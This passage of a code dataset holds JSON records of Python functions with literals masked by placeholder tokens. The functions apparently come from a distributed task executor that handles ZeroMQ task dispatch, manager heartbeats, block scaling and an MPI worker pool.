json.loads(message[<NUM_LIT:1>].decode('<STR_LIT:utf-8>'))<EOL>reg_flag = True<EOL><DEDENT>except Exception:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(<EOL>manager))<EOL>logger.debug(\"<STR_LIT>\".format(message[<NUM_LIT:0>]))<EOL><DEDENT>self._ready_manager_queue[manager] = {'<STR_LIT>': time.time(),<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': True,<EOL>'<STR_LIT>': []}<EOL>if reg_flag is True:<EOL><INDENT>interesting_managers.add(manager)<EOL>logger.info(\"<STR_LIT>\".format(manager))<EOL>self._ready_manager_queue[manager].update(msg)<EOL>logger.info(\"<STR_LIT>\".format(manager, msg))<EOL>if (msg['<STR_LIT>'].rsplit(\"<STR_LIT:.>\", <NUM_LIT:1>)[<NUM_LIT:0>] != self.current_platform['<STR_LIT>'].rsplit(\"<STR_LIT:.>\", <NUM_LIT:1>)[<NUM_LIT:0>] or<EOL>msg['<STR_LIT>'] != self.current_platform['<STR_LIT>']):<EOL><INDENT>logger.warn(\"<STR_LIT>\".format(manager))<EOL>if self.suppress_failure is False:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self._kill_event.set()<EOL>e = ManagerLost(manager)<EOL>result_package = {'<STR_LIT>': -<NUM_LIT:1>, '<STR_LIT>': serialize_object(e)}<EOL>pkl_package = pickle.dumps(result_package)<EOL>self.results_outgoing.send(pkl_package)<EOL>logger.warning(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(manager, msg['<STR_LIT>']))<EOL>logger.info(\"<STR_LIT>\".format(manager,<EOL>msg['<STR_LIT>'].rsplit(\"<STR_LIT:.>\", <NUM_LIT:1>)[<NUM_LIT:0>]))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if self.suppress_failure is False:<EOL><INDENT>self._kill_event.set()<EOL>e = BadRegistration(manager, critical=True)<EOL>result_package = {'<STR_LIT>': -<NUM_LIT:1>, '<STR_LIT>': serialize_object(e)}<EOL>pkl_package = pickle.dumps(result_package)<EOL>self.results_outgoing.send(pkl_package)<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(<EOL>manager))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>tasks_requested = int.from_bytes(message[<NUM_LIT:1>], \"<STR_LIT>\")<EOL>self._ready_manager_queue[manager]['<STR_LIT>'] = time.time()<EOL>if tasks_requested == HEARTBEAT_CODE:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(manager))<EOL>self.task_outgoing.send_multipart([manager, b'<STR_LIT>', PKL_HEARTBEAT_CODE])<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(manager, tasks_requested))<EOL>self._ready_manager_queue[manager]['<STR_LIT>'] = tasks_requested<EOL>interesting_managers.add(manager)<EOL><DEDENT><DEDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(len(self._ready_manager_queue),<EOL>len(interesting_managers)))<EOL>if interesting_managers and not self.pending_task_queue.empty():<EOL><INDENT>shuffled_managers = list(interesting_managers)<EOL>random.shuffle(shuffled_managers)<EOL>while shuffled_managers and not self.pending_task_queue.empty():  <EOL><INDENT>manager = shuffled_managers.pop()<EOL>tasks_inflight = len(self._ready_manager_queue[manager]['<STR_LIT>'])<EOL>real_capacity = min(self._ready_manager_queue[manager]['<STR_LIT>'],<EOL>self._ready_manager_queue[manager]['<STR_LIT>'] - tasks_inflight)<EOL>if (real_capacity and self._ready_manager_queue[manager]['<STR_LIT>']):<EOL><INDENT>tasks = self.get_tasks(real_capacity)<EOL>if tasks:<EOL><INDENT>self.task_outgoing.send_multipart([manager, b'<STR_LIT>', pickle.dumps(tasks)])<EOL>task_count = len(tasks)<EOL>count += task_count<EOL>tids = [t['<STR_LIT>'] for t in tasks]<EOL>self._ready_manager_queue[manager]['<STR_LIT>'] -= task_count<EOL>self._ready_manager_queue[manager]['<STR_LIT>'].extend(tids)<EOL>logger.debug(\"<STR_LIT>\".format(tids, manager))<EOL>if self._ready_manager_queue[manager]['<STR_LIT>'] > <NUM_LIT:0>:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(manager, self._ready_manager_queue[manager]['<STR_LIT>']))<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(manager))<EOL>interesting_managers.remove(manager)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>interesting_managers.remove(manager)<EOL><DEDENT><DEDENT>logger.debug(\"<STR_LIT>\".format(len(interesting_managers)))<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>if self.results_incoming in self.socks and self.socks[self.results_incoming] == zmq.POLLIN:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>manager, *b_messages = self.results_incoming.recv_multipart()<EOL>if manager not in self._ready_manager_queue:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(manager))<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(len(b_messages)))<EOL>for b_message in b_messages:<EOL><INDENT>r = pickle.loads(b_message)<EOL>self._ready_manager_queue[manager]['<STR_LIT>'].remove(r['<STR_LIT>'])<EOL><DEDENT>self.results_outgoing.send_multipart(b_messages)<EOL>logger.debug(\"<STR_LIT>\".format(self._ready_manager_queue[manager]['<STR_LIT>']))<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>bad_managers = [manager for manager in self._ready_manager_queue if<EOL>time.time() - self._ready_manager_queue[manager]['<STR_LIT>'] > self.heartbeat_threshold]<EOL>for manager in bad_managers:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(self._ready_manager_queue[manager]['<STR_LIT>'], time.time()))<EOL>logger.warning(\"<STR_LIT>\".format(manager))<EOL>for tid in self._ready_manager_queue[manager]['<STR_LIT>']:<EOL><INDENT>try:<EOL><INDENT>raise ManagerLost(manager)<EOL><DEDENT>except Exception:<EOL><INDENT>result_package = {'<STR_LIT>': tid, '<STR_LIT>': serialize_object(RemoteExceptionWrapper(*sys.exc_info()))}<EOL>pkl_package = pickle.dumps(result_package)<EOL>self.results_outgoing.send(pkl_package)<EOL>logger.warning(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>self._ready_manager_queue.pop(manager, '<STR_LIT:None>')<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>delta = time.time() - start<EOL>logger.info(\"<STR_LIT>\".format(count, delta))<EOL>logger.warning(\"<STR_LIT>\")<EOL>", "docstring": "Start the NeedNameQeueu\n\n        Parameters:\n        ----------\n\n        TODO: Move task receiving to a thread", "id": "f2821:c3:m4"}
{"signature": "def initialize_scaling(self):", "body": "debug_opts = \"<STR_LIT>\" if self.worker_debug else \"<STR_LIT>\"<EOL>max_workers = \"<STR_LIT>\" if self.max_workers == float('<STR_LIT>') else \"<STR_LIT>\".format(self.max_workers)<EOL>worker_logdir = \"<STR_LIT>\".format(self.run_dir, self.label)<EOL>if self.worker_logdir_root is not None:<EOL><INDENT>worker_logdir = \"<STR_LIT>\".format(self.worker_logdir_root, self.label)<EOL><DEDENT>l_cmd = self.launch_cmd.format(debug=debug_opts,<EOL>prefetch_capacity=self.prefetch_capacity,<EOL>task_url=self.worker_task_url,<EOL>result_url=self.worker_result_url,<EOL>cores_per_worker=self.cores_per_worker,<EOL>max_workers=max_workers,<EOL>nodes_per_block=self.provider.nodes_per_block,<EOL>heartbeat_period=self.heartbeat_period,<EOL>heartbeat_threshold=self.heartbeat_threshold,<EOL>poll_period=self.poll_period,<EOL>logdir=worker_logdir)<EOL>self.launch_cmd = l_cmd<EOL>logger.debug(\"<STR_LIT>\".format(self.launch_cmd))<EOL>self._scaling_enabled = self.provider.scaling_enabled<EOL>logger.debug(\"<STR_LIT>\", self.provider)<EOL>if hasattr(self.provider, '<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>self.scale_out(blocks=self.provider.init_blocks)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(e))<EOL>raise e<EOL><DEDENT><DEDENT>", "docstring": "Compose the launch command and call the scale_out\n\n        This should be implemented in the child classes to take care of\n        executor specific oddities.", "id": "f2822:c0:m1"}
{"signature": "def start(self):", "body": "self.outgoing_q = zmq_pipes.TasksOutgoing(\"<STR_LIT:127.0.0.1>\", self.interchange_port_range)<EOL>self.incoming_q = zmq_pipes.ResultsIncoming(\"<STR_LIT:127.0.0.1>\", self.interchange_port_range)<EOL>self.command_client = zmq_pipes.CommandClient(\"<STR_LIT:127.0.0.1>\", self.interchange_port_range)<EOL>self.is_alive = True<EOL>self._executor_bad_state = threading.Event()<EOL>self._executor_exception = None<EOL>self._queue_management_thread = None<EOL>self._start_queue_management_thread()<EOL>self._start_local_queue_process()<EOL>logger.debug(\"<STR_LIT>\".format(self._queue_management_thread))<EOL>if self.provider:<EOL><INDENT>self.initialize_scaling()<EOL><DEDENT>else:<EOL><INDENT>self._scaling_enabled = False<EOL>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Create the Interchange process and connect to it.", "id": "f2822:c0:m2"}
{"signature": "def _queue_management_worker(self):", "body": "logger.debug(\"<STR_LIT>\")<EOL>while not self._executor_bad_state.is_set():<EOL><INDENT>try:<EOL><INDENT>msgs = self.incoming_q.get(timeout=<NUM_LIT:1>)<EOL><DEDENT>except queue.Empty:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>pass<EOL><DEDENT>except IOError as e:<EOL><INDENT>logger.exception(\"<STR_LIT>\".format(e.errno, e))<EOL>return<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.exception(\"<STR_LIT>\".format(e))<EOL>return<EOL><DEDENT>else:<EOL><INDENT>if msgs is None:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>else:<EOL><INDENT>for serialized_msg in msgs:<EOL><INDENT>try:<EOL><INDENT>msg = pickle.loads(serialized_msg)<EOL>tid = msg['<STR_LIT>']<EOL><DEDENT>except pickle.UnpicklingError:<EOL><INDENT>raise BadMessage(\"<STR_LIT>\")<EOL><DEDENT>except Exception:<EOL><INDENT>raise BadMessage(\"<STR_LIT>\")<EOL><DEDENT>if tid == -<NUM_LIT:1> and '<STR_LIT>' in msg:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL>self._executor_exception, _ = deserialize_object(msg['<STR_LIT>'])<EOL>logger.exception(\"<STR_LIT>\".format(self._executor_exception))<EOL>self._executor_bad_state.set()<EOL>for task in self.tasks:<EOL><INDENT>self.tasks[task].set_exception(self._executor_exception)<EOL><DEDENT>break<EOL><DEDENT>task_fut = self.tasks[tid]<EOL>if '<STR_LIT:result>' in msg:<EOL><INDENT>result, _ = deserialize_object(msg['<STR_LIT:result>'])<EOL>task_fut.set_result(result)<EOL><DEDENT>elif '<STR_LIT>' in msg:<EOL><INDENT>try:<EOL><INDENT>s, _ = deserialize_object(msg['<STR_LIT>'])<EOL>try:<EOL><INDENT>s.reraise()<EOL><DEDENT>except Exception as e:<EOL><INDENT>task_fut.set_exception(e)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>task_fut.set_exception(<EOL>DeserializationError(\"<STR_LIT>\".format(e)))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise BadMessage(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if not self.is_alive:<EOL><INDENT>break<EOL><DEDENT><DEDENT>logger.info(\"<STR_LIT>\")<EOL>", "docstring": "Listen to the queue for task status messages and handle them.\n\n        Depending on the message, tasks will be updated with results, exceptions,\n        or updates. It expects the following messages:\n\n        .. code:: python\n\n            {\n               \"task_id\" : <task_id>\n               \"result\"  : serialized result object, if task succeeded\n               ... more tags could be added later\n            }\n\n            {\n               \"task_id\" : <task_id>\n               \"exception\" : serialized exception object, on failure\n            }\n\n        We do not support these yet, but they could be added easily.\n\n        .. code:: python\n\n            {\n               \"task_id\" : <task_id>\n               \"cpu_stat\" : <>\n               \"mem_stat\" : <>\n               \"io_stat\"  : <>\n               \"started\"  : tstamp\n            }\n\n        The `None` message is a die request.", "id": "f2822:c0:m3"}
{"signature": "def weakref_cb(self, q=None):", "body": "q.put(None)<EOL>", "docstring": "We do not use this yet.", "id": "f2822:c0:m4"}
{"signature": "def _start_local_queue_process(self):", "body": "comm_q = Queue(maxsize=<NUM_LIT:10>)<EOL>self.queue_proc = Process(target=interchange.starter,<EOL>args=(comm_q,),<EOL>kwargs={\"<STR_LIT>\": (self.outgoing_q.port,<EOL>self.incoming_q.port,<EOL>self.command_client.port),<EOL>\"<STR_LIT>\": self.worker_ports,<EOL>\"<STR_LIT>\": self.worker_port_range,<EOL>\"<STR_LIT>\": \"<STR_LIT>\".format(self.run_dir, self.label),<EOL>\"<STR_LIT>\": self.suppress_failure,<EOL>\"<STR_LIT>\": self.heartbeat_threshold,<EOL>\"<STR_LIT>\": self.poll_period,<EOL>\"<STR_LIT>\": logging.DEBUG if self.worker_debug else logging.INFO<EOL>},<EOL>)<EOL>self.queue_proc.start()<EOL>try:<EOL><INDENT>(worker_task_port, worker_result_port) = comm_q.get(block=True, timeout=<NUM_LIT>)<EOL><DEDENT>except queue.Empty:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>self.worker_task_url = \"<STR_LIT>\".format(self.address, worker_task_port)<EOL>self.worker_result_url = \"<STR_LIT>\".format(self.address, worker_result_port)<EOL>", "docstring": "Starts the interchange process locally\n\n        Starts the interchange process locally and uses an internal command queue to\n        get the worker task and result ports that the interchange has bound to.", "id": "f2822:c0:m5"}
{"signature": "def _start_queue_management_thread(self):", "body": "if self._queue_management_thread is None:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self._queue_management_thread = threading.Thread(target=self._queue_management_worker)<EOL>self._queue_management_thread.daemon = True<EOL>self._queue_management_thread.start()<EOL>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Method to start the management thread as a daemon.\n\n        Checks if a thread already exists, then starts it.\n        Could be used later as a restart if the management thread dies.", "id": "f2822:c0:m6"}
{"signature": "def hold_worker(self, worker_id):", "body": "c = self.command_client.run(\"<STR_LIT>\".format(worker_id))<EOL>logger.debug(\"<STR_LIT>\".format(worker_id))<EOL>return c<EOL>", "docstring": "Puts a worker on hold, preventing scheduling of additional tasks to it.\n\n        This is called \"hold\" mostly because this only stops scheduling of tasks,\n        and does not actually kill the worker.\n\n        Parameters\n        ----------\n\n        worker_id : str\n            Worker id to be put on hold", "id": "f2822:c0:m7"}
{"signature": "def _hold_block(self, block_id):", "body": "managers = self.connected_managers<EOL>for manager in managers:<EOL><INDENT>if manager['<STR_LIT>'] == block_id:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(manager['<STR_LIT>']))<EOL>self.hold_worker(manager['<STR_LIT>'])<EOL><DEDENT><DEDENT>", "docstring": "Sends hold command to all managers which are in a specific block\n\n        Parameters\n        ----------\n        block_id : str\n             Block identifier of the block to be put on hold", "id": "f2822:c0:m11"}
{"signature": "def submit(self, func, *args, **kwargs):", "body": "if self._executor_bad_state.is_set():<EOL><INDENT>raise self._executor_exception<EOL><DEDENT>self._task_counter += <NUM_LIT:1><EOL>task_id = self._task_counter<EOL>logger.debug(\"<STR_LIT>\".format(func, args))<EOL>self.tasks[task_id] = Future()<EOL>fn_buf = pack_apply_message(func, args, kwargs,<EOL>buffer_threshold=<NUM_LIT> * <NUM_LIT>,<EOL>item_threshold=<NUM_LIT>)<EOL>msg = {\"<STR_LIT>\": task_id,<EOL>\"<STR_LIT>\": fn_buf}<EOL>self.outgoing_q.put(msg)<EOL>return self.tasks[task_id]<EOL>", "docstring": "Submits work to the the outgoing_q.\n\n        The outgoing_q is an external process listens on this\n        queue for new work. This method behaves like a\n        submit call as described here `Python docs: <https://docs.python.org/3/library/concurrent.futures.html#concurrent.futures.ThreadPoolExecutor>`_\n\n        Args:\n            - func (callable) : Callable function\n            - *args (list) : List of arbitrary positional arguments.\n\n        Kwargs:\n            - **kwargs (dict) : A dictionary of arbitrary keyword args for func.\n\n        Returns:\n              Future", "id": "f2822:c0:m12"}
{"signature": "def scale_out(self, blocks=<NUM_LIT:1>):", "body": "r = []<EOL>for i in range(blocks):<EOL><INDENT>if self.provider:<EOL><INDENT>external_block_id = str(len(self.blocks))<EOL>launch_cmd = self.launch_cmd.format(block_id=external_block_id)<EOL>internal_block = self.provider.submit(launch_cmd, <NUM_LIT:1>, <NUM_LIT:1>)<EOL>logger.debug(\"<STR_LIT>\".format(external_block_id, internal_block))<EOL>if not internal_block:<EOL><INDENT>raise(ScalingFailed(self.provider.label,<EOL>\"<STR_LIT>\"))<EOL><DEDENT>r.extend([external_block_id])<EOL>self.blocks[external_block_id] = internal_block<EOL><DEDENT>else:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>r = None<EOL><DEDENT><DEDENT>return r<EOL>", "docstring": "Scales out the number of blocks by \"blocks\"\n\n        Raises:\n             NotImplementedError", "id": "f2822:c0:m14"}
{"signature": "def scale_in(self, blocks=None, block_ids=[]):", "body": "if block_ids:<EOL><INDENT>block_ids_to_kill = block_ids<EOL><DEDENT>else:<EOL><INDENT>block_ids_to_kill = list(self.blocks.keys())[:blocks]<EOL><DEDENT>for block_id in block_ids_to_kill:<EOL><INDENT>self._hold_block(block_id)<EOL><DEDENT>to_kill = [self.blocks.pop(bid) for bid in block_ids_to_kill]<EOL>if self.provider:<EOL><INDENT>r = self.provider.cancel(to_kill)<EOL><DEDENT>return r<EOL>", "docstring": "Scale in the number of active blocks by specified amount.\n\n        The scale in method here is very rude. It doesn't give the workers\n        the opportunity to finish current tasks or cleanup. This is tracked\n        in issue #530\n\n        Parameters\n        ----------\n\n        blocks : int\n             Number of blocks to terminate and scale_in by\n\n        block_ids : list\n             List of specific block ids to terminate. Optional\n\n        Raises:\n             NotImplementedError", "id": "f2822:c0:m15"}
{"signature": "def status(self):", "body": "status = []<EOL>if self.provider:<EOL><INDENT>status = self.provider.status(self.blocks.values())<EOL><DEDENT>return status<EOL>", "docstring": "Return status of all blocks.", "id": "f2822:c0:m16"}
{"signature": "def shutdown(self, hub=True, targets='<STR_LIT:all>', block=False):", "body": "logger.info(\"<STR_LIT>\")<EOL>self.queue_proc.terminate()<EOL>logger.info(\"<STR_LIT>\")<EOL>return True<EOL>", "docstring": "Shutdown the executor, including all workers and controllers.\n\n        This is not implemented.\n\n        Kwargs:\n            - hub (Bool): Whether the hub should be shutdown, Default:True,\n            - targets (list of ints| 'all'): List of block id's to kill, Default:'all'\n            - block (Bool): To block for confirmations or not\n\n        Raises:\n             NotImplementedError", "id": "f2822:c0:m17"}
{"signature": "def execute_task(bufs):", "body": "user_ns = locals()<EOL>user_ns.update({'<STR_LIT>': __builtins__})<EOL>f, args, kwargs = unpack_apply_message(bufs, user_ns, copy=False)<EOL>fname = getattr(f, '<STR_LIT>', '<STR_LIT:f>')<EOL>prefix = \"<STR_LIT>\"<EOL>fname = prefix + \"<STR_LIT:f>\"<EOL>argname = prefix + \"<STR_LIT:args>\"<EOL>kwargname = prefix + \"<STR_LIT>\"<EOL>resultname = prefix + \"<STR_LIT:result>\"<EOL>user_ns.update({fname: f,<EOL>argname: args,<EOL>kwargname: kwargs,<EOL>resultname: resultname})<EOL>code = \"<STR_LIT>\".format(resultname, fname,<EOL>argname, kwargname)<EOL>try:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(code))<EOL>exec(code, user_ns, user_ns)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(e))<EOL>raise e<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(user_ns.get(resultname)))<EOL>return user_ns.get(resultname)<EOL><DEDENT>", "docstring": "Deserialize the buffer and execute the task.\n\n    Returns the serialized result or exception.", "id": "f2823:m0"}
{"signature": "def start_file_logger(filename, rank, name='<STR_LIT>', level=logging.DEBUG, format_string=None):", "body": "if format_string is None:<EOL><INDENT>format_string = \"<STR_LIT>\".format(rank)<EOL><DEDENT>global logger<EOL>logger = logging.getLogger(name)<EOL>logger.setLevel(logging.DEBUG)<EOL>handler = logging.FileHandler(filename)<EOL>handler.setLevel(level)<EOL>formatter = logging.Formatter(format_string, datefmt='<STR_LIT>')<EOL>handler.setFormatter(formatter)<EOL>logger.addHandler(handler)<EOL>", "docstring": "Add a stream log handler.\n\n    Args:\n        - filename (string): Name of the file to write logs to\n        - name (string): Logger name\n        - level (logging.LEVEL): Set the logging level.\n        - format_string (string): Set the format string\n\n    Returns:\n       -  None", "id": "f2823:m2"}
{"signature": "def set_stream_logger(name='<STR_LIT>', level=logging.DEBUG, format_string=None):", "body": "if format_string is None:<EOL><INDENT>format_string = \"<STR_LIT>\"<EOL><DEDENT>global logger<EOL>logger = logging.getLogger(name)<EOL>logger.setLevel(logging.DEBUG)<EOL>handler = logging.StreamHandler()<EOL>handler.setLevel(level)<EOL>formatter = logging.Formatter(format_string, datefmt='<STR_LIT>')<EOL>handler.setFormatter(formatter)<EOL>logger.addHandler(handler)<EOL>", "docstring": "Add a stream log handler.\n\n    Args:\n         - name (string) : Set the logger name.\n         - level (logging.LEVEL) : Set to logging.DEBUG by default.\n         - format_string (sting) : Set to None by default.\n\n    Returns:\n         - None", "id": "f2823:m3"}
{"signature": "def __init__(self,<EOL>comm, rank,<EOL>task_q_url=\"<STR_LIT>\",<EOL>result_q_url=\"<STR_LIT>\",<EOL>max_queue_size=<NUM_LIT:10>,<EOL>heartbeat_threshold=<NUM_LIT>,<EOL>heartbeat_period=<NUM_LIT:30>,<EOL>uid=None):", "body": "self.uid = uid<EOL>self.context = zmq.Context()<EOL>self.task_incoming = self.context.socket(zmq.DEALER)<EOL>self.task_incoming.setsockopt(zmq.IDENTITY, uid.encode('<STR_LIT:utf-8>'))<EOL>self.task_incoming.setsockopt(zmq.LINGER, <NUM_LIT:0>)<EOL>self.task_incoming.connect(task_q_url)<EOL>self.result_outgoing = self.context.socket(zmq.DEALER)<EOL>self.result_outgoing.setsockopt(zmq.IDENTITY, uid.encode('<STR_LIT:utf-8>'))<EOL>self.result_outgoing.setsockopt(zmq.LINGER, <NUM_LIT:0>)<EOL>self.result_outgoing.connect(result_q_url)<EOL>logger.info(\"<STR_LIT>\")<EOL>self.max_queue_size = max_queue_size + comm.size<EOL>self.pending_task_queue = queue.Queue()<EOL>self.pending_result_queue = queue.Queue()<EOL>self.ready_worker_queue = queue.Queue()<EOL>self.tasks_per_round = <NUM_LIT:1><EOL>self.heartbeat_period = heartbeat_period<EOL>self.heartbeat_threshold = heartbeat_threshold<EOL>self.comm = comm<EOL>self.rank = rank<EOL>", "docstring": "Parameters\n----------\nworker_url : str\n     Worker url on which workers will attempt to connect back\n\nheartbeat_threshold : int\n     Number of seconds since the last message from the interchange after which the worker\n     assumes that the interchange is lost and the manager shuts down. Default:120\n\nheartbeat_period : int\n     Number of seconds after which a heartbeat message is sent to the interchange", "id": "f2823:c0:m0"}
{"signature": "def create_reg_message(self):", "body": "msg = {'<STR_LIT>': PARSL_VERSION,<EOL>'<STR_LIT>': \"<STR_LIT>\".format(sys.version_info.major,<EOL>sys.version_info.minor,<EOL>sys.version_info.micro),<EOL>'<STR_LIT>': platform.system(),<EOL>'<STR_LIT>': platform.node(),<EOL>'<STR_LIT>': os.getcwd(),<EOL>}<EOL>b_msg = json.dumps(msg).encode('<STR_LIT:utf-8>')<EOL>return b_msg<EOL>", "docstring": "Creates a registration message to identify the worker to the interchange", "id": "f2823:c0:m1"}
{"signature": "def heartbeat(self):", "body": "heartbeat = (HEARTBEAT_CODE).to_bytes(<NUM_LIT:4>, \"<STR_LIT>\")<EOL>r = self.task_incoming.send(heartbeat)<EOL>logger.debug(\"<STR_LIT>\".format(r))<EOL>", "docstring": "Send heartbeat to the incoming task queue", "id": "f2823:c0:m2"}
{"signature": "def recv_result_from_workers(self):", "body": "info = MPI.Status()<EOL>result = self.comm.recv(source=MPI.ANY_SOURCE, tag=RESULT_TAG, status=info)<EOL>logger.debug(\"<STR_LIT>\".format(result))<EOL>return result<EOL>", "docstring": "Receives a results from the MPI worker pool and send it out via 0mq\n\n        Returns:\n        --------\n            result: task result from the workers", "id": "f2823:c0:m3"}
{"signature": "def recv_task_request_from_workers(self):", "body": "info = MPI.Status()<EOL>comm.recv(source=MPI.ANY_SOURCE, tag=TASK_REQUEST_TAG, status=info)<EOL>worker_rank = info.Get_source()<EOL>logger.info(\"<STR_LIT>\".format(worker_rank))<EOL>return worker_rank<EOL>", "docstring": "Receives 1 task request from MPI comm\n\n        Returns:\n        --------\n            worker_rank: worker_rank id", "id": "f2823:c0:m4"}
{"signature": "def pull_tasks(self, kill_event):", "body": "logger.info(\"<STR_LIT>\")<EOL>poller = zmq.Poller()<EOL>poller.register(self.task_incoming, zmq.POLLIN)<EOL>msg = self.create_reg_message()<EOL>logger.debug(\"<STR_LIT>\".format(msg))<EOL>self.task_incoming.send(msg)<EOL>last_beat = time.time()<EOL>last_interchange_contact = time.time()<EOL>task_recv_counter = <NUM_LIT:0><EOL>poll_timer = <NUM_LIT:1><EOL>while not kill_event.is_set():<EOL><INDENT>time.sleep(LOOP_SLOWDOWN)<EOL>ready_worker_count = self.ready_worker_queue.qsize()<EOL>pending_task_count = self.pending_task_queue.qsize()<EOL>logger.debug(\"<STR_LIT>\".format(ready_worker_count,<EOL>pending_task_count))<EOL>if time.time() > last_beat + self.heartbeat_period:<EOL><INDENT>self.heartbeat()<EOL>last_beat = time.time()<EOL><DEDENT>if pending_task_count < self.max_queue_size and ready_worker_count > <NUM_LIT:0>:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(ready_worker_count))<EOL>msg = ((ready_worker_count).to_bytes(<NUM_LIT:4>, \"<STR_LIT>\"))<EOL>self.task_incoming.send(msg)<EOL><DEDENT>socks = dict(poller.poll(timeout=poll_timer))<EOL>if self.task_incoming in socks and socks[self.task_incoming] == zmq.POLLIN:<EOL><INDENT>_, pkl_msg = self.task_incoming.recv_multipart()<EOL>tasks = pickle.loads(pkl_msg)<EOL>last_interchange_contact = time.time()<EOL>if tasks == '<STR_LIT>':<EOL><INDENT>logger.critical(\"<STR_LIT>\")<EOL>kill_event.set()<EOL>break<EOL><DEDENT>elif tasks == HEARTBEAT_CODE:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>poll_timer = <NUM_LIT:1><EOL>task_recv_counter += len(tasks)<EOL>logger.debug(\"<STR_LIT>\".format([t['<STR_LIT>'] for t in tasks],<EOL>task_recv_counter))<EOL>for task in tasks:<EOL><INDENT>self.pending_task_queue.put(task)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>poll_timer = min(self.heartbeat_period * <NUM_LIT:1000>, poll_timer * <NUM_LIT:2>)<EOL>if time.time() > last_interchange_contact + self.heartbeat_threshold:<EOL><INDENT>logger.critical(\"<STR_LIT>\")<EOL>kill_event.set()<EOL>logger.critical(\"<STR_LIT>\")<EOL>break<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Pulls tasks from the incoming tasks 0mq pipe onto the internal\n        pending task queue\n\n        Parameters:\n        -----------\n        kill_event : threading.Event\n              Event to let the thread know when it is time to die.", "id": "f2823:c0:m5"}
{"signature": "def push_results(self, kill_event):", "body": "<EOL>timeout = <NUM_LIT:0.1><EOL>logger.debug(\"<STR_LIT>\")<EOL>while not kill_event.is_set():<EOL><INDENT>time.sleep(LOOP_SLOWDOWN)<EOL>try:<EOL><INDENT>items = []<EOL>while not self.pending_result_queue.empty():<EOL><INDENT>r = self.pending_result_queue.get(block=True)<EOL>items.append(r)<EOL><DEDENT>if items:<EOL><INDENT>self.result_outgoing.send_multipart(items)<EOL><DEDENT><DEDENT>except queue.Empty:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(timeout))<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.exception(\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT>logger.critical(\"<STR_LIT>\")<EOL>", "docstring": "Listens on the pending_result_queue and sends out results via 0mq\n\n        Parameters:\n        -----------\n        kill_event : threading.Event\n              Event to let the thread know when it is time to die.", "id": "f2823:c0:m6"}
